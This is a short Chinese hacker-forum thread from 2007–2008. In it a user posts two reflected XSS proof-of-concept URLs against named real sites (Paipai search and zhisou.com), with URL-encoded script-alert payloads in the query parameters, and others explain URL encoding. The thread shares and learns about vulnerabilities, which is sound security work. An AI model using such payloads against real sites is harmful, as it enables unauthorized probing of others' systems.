黑客X档案官方论坛 » 动画资料 » 自己发现的俩XSS

‹‹ 上一主题 | 下一主题 ››

发新话题

打印

自己发现的俩XSS

本主题由小3 于 2008-8-23 18:57 移动

seeflood

一年级

Rank: 1

帖子: 100
精华: 0
威望: 0 度
金币: 117 枚
性别: 男
最后登录: 2008-9-20

发短消息
加为好友
当前离线

1^# 大中小发表于 2007-11-25 09:14 只看该作者

自己发现的俩XSS

腾讯旗下拍拍
http://search.paipai.com/cgi-bin/shop_search?KeyWord=%3Cscript%3Ealert%28%27seeflood%27%29%3C%2Fscript%3E&keywordtype=1&shoptype=&mainsale=%3Cscript%3Ealert%28%27seeflood%27%29%3C%2Fscript%3E&address=%3Cscript%3Ealert%28%27seeflood%27%29%3C%2Fscript%3E&level=&sex=0
一个叫智搜的地方
http://b2b.zhisou.com/search.jsp?keyword=%22%3E%3Cscript%3Ealert%28%27a%27%29%3C%2Fscript%3E&cid=s

本人超菜~仅当交流~
提个弱智问题,ANSII码,URL编码什么的,在哪里,什么时候可以转换啊?(刚完跨站,一直不懂什么编码的....)
请大虾们指教~~~

TOP

小帥

www.xshacker.com.cn

二年级

Rank: 2 Rank: 2

www.xshacker.com.cn

帖子: 337
精华: 1
威望: 0 度
金币: 797 枚
性别: 男
来自: 浙江杭州
最后登录: 2008-7-8

发短消息
加为好友
当前离线

2^# 大中小发表于 2007-11-25 10:13 只看该作者

米入库哈。

xss/2个xss

http://www.xshacker.com.cn 小帥's blog
http://www.0kee.com/bbs [0.S.T]零客网络安全小组

TOP

每当你参与一份调查,就可以获得1-10美元不等的调查佣金.

lgods

学前班

帖子: 2
精华: 0
威望: 0 度
金币: 12 枚
最后登录: 2008-7-9

发短消息
加为好友
当前离线

3^# 大中小发表于 2008-7-9 01:41 只看该作者

回复 1# 的帖子

URL编码
就是把</>符号转化为%3c之类的
urlcode
http://www.inkings.cn/tool/
地方可以直接转换
ANSII码,是转换为数字那种,好象转化完执行不了,也有点迷惑

TOP

‹‹ 上一主题 | 下一主题 ››

发新话题

Powered by Discuz! 6.1.0 © 2001-2007 Comsenz Inc.

Processed in 0.103073 second(s), 6 queries, Gzip enabled